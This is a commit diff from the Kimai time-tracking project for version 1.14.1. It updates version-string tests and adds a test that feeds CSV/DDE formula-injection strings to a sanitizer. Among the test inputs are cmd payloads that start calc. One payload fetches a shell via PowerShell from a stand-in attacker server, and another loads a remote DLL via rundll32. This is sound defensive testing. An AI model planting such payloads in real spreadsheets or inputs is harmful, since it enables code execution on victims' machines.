version 1.14.1 (#2532)
* no back links in modal pages * remove unused service links to bountysource and gitter * add validation for budget and time-budget fields * display time budget if set * remove console log * sanitize DDE payloads * do not show status and name in version string
This commit is contained in:
@@ -58,7 +58,7 @@ class StatusControllerTest extends APIControllerBaseTest
|
||||
$this->assertEquals(Constants::VERSION . '-' . Constants::STATUS, $result['semver']);
|
||||
$this->assertEquals(Constants::NAME, $result['name']);
|
||||
$this->assertEquals(
|
||||
'Kimai - ' . Constants::VERSION . ' ' . Constants::STATUS . ' (' . Constants::NAME . ') by Kevin Papst and contributors.',
|
||||
'Kimai ' . Constants::VERSION . ' by Kevin Papst and contributors.',
|
||||
$result['copyright']
|
||||
);
|
||||
}
|
||||
|
||||
@@ -58,7 +58,7 @@ class UpdateCommandTest extends KernelTestCase
|
||||
self::assertStringContainsString('No migrations to execute.', $result);
|
||||
|
||||
self::assertStringContainsString(
|
||||
sprintf('[OK] Congratulations! Successfully updated Kimai to version %s (%s)', Constants::VERSION, Constants::STATUS),
|
||||
sprintf('[OK] Congratulations! Successfully updated Kimai to version %s', Constants::VERSION),
|
||||
$result
|
||||
);
|
||||
|
||||
|
||||
@@ -47,10 +47,11 @@ class VersionCommandTest extends KernelTestCase
|
||||
public function getTestData()
|
||||
{
|
||||
return [
|
||||
[[], 'Kimai - ' . Constants::VERSION . ' ' . Constants::STATUS . ' (' . Constants::NAME . ') by Kevin Papst and contributors.'],
|
||||
[[], 'Kimai ' . Constants::VERSION . ' by Kevin Papst and contributors.'],
|
||||
[['--name' => true], Constants::NAME],
|
||||
[['--candidate' => true], Constants::STATUS],
|
||||
[['--short' => true], Constants::VERSION],
|
||||
// @deprecated since 1.14.1
|
||||
[['--candidate' => true], Constants::STATUS],
|
||||
[['--semver' => true], Constants::VERSION . '-' . Constants::STATUS],
|
||||
];
|
||||
}
|
||||
|
||||
@@ -27,8 +27,6 @@ class ConstantsTest extends TestCase
|
||||
|
||||
$expectedId = $major * 10000 + $minor * 100 + $patch;
|
||||
|
||||
self::assertEquals('1.14', Constants::VERSION, 'Invalid release number');
|
||||
self::assertTrue(\in_array(Constants::STATUS, ['dev', 'stable']), 'Invalid status');
|
||||
self::assertEquals($expectedId, Constants::VERSION_ID, 'Invalid version ID');
|
||||
}
|
||||
}
|
||||
|
||||
@@ -28,4 +28,30 @@ class StringHelperTest extends TestCase
|
||||
self::assertEquals(10, mb_strlen(StringHelper::ensureMaxLength('까깨꺄꺠꺼께껴꼐꼬꽈sssss', 10)));
|
||||
self::assertEquals(10, mb_strlen(StringHelper::ensureMaxLength('까깨꺄꺠꺼께껴꼐꼬꽈꼬꽈', 10)));
|
||||
}
|
||||
|
||||
public function getDdeAttackStrings()
|
||||
{
|
||||
yield ['DDE ("cmd";"/C calc";"!A0")A0'];
|
||||
yield ["@SUM(1+9)*cmd|' /C calc'!A0"];
|
||||
yield ["-10+20+cmd|' /C calc'!A0"];
|
||||
yield ["+10+20+cmd|' /C calc'!A0"];
|
||||
yield ["=10+20+cmd|' /C calc'!A0"];
|
||||
yield ["=cmd|' /C notepad'!'A1'"];
|
||||
yield ["=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0"];
|
||||
yield ["=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1"];
|
||||
yield [" =cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1"];
|
||||
yield ["\t=10+20+cmd|' /C calc'!A0"];
|
||||
yield ["\r=10+20+cmd|' /C calc'!A0"];
|
||||
yield ["\n=10+20+cmd|' /C calc'!A0"];
|
||||
yield ["\r\n=10+20+cmd|' /C calc'!A0"];
|
||||
yield [PHP_EOL . "=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1"];
|
||||
}
|
||||
|
||||
/**
|
||||
* @dataProvider getDdeAttackStrings
|
||||
*/
|
||||
public function testSanitizeDde(string $input)
|
||||
{
|
||||
self::assertEquals("' " . $input, StringHelper::sanitizeDDE($input));
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user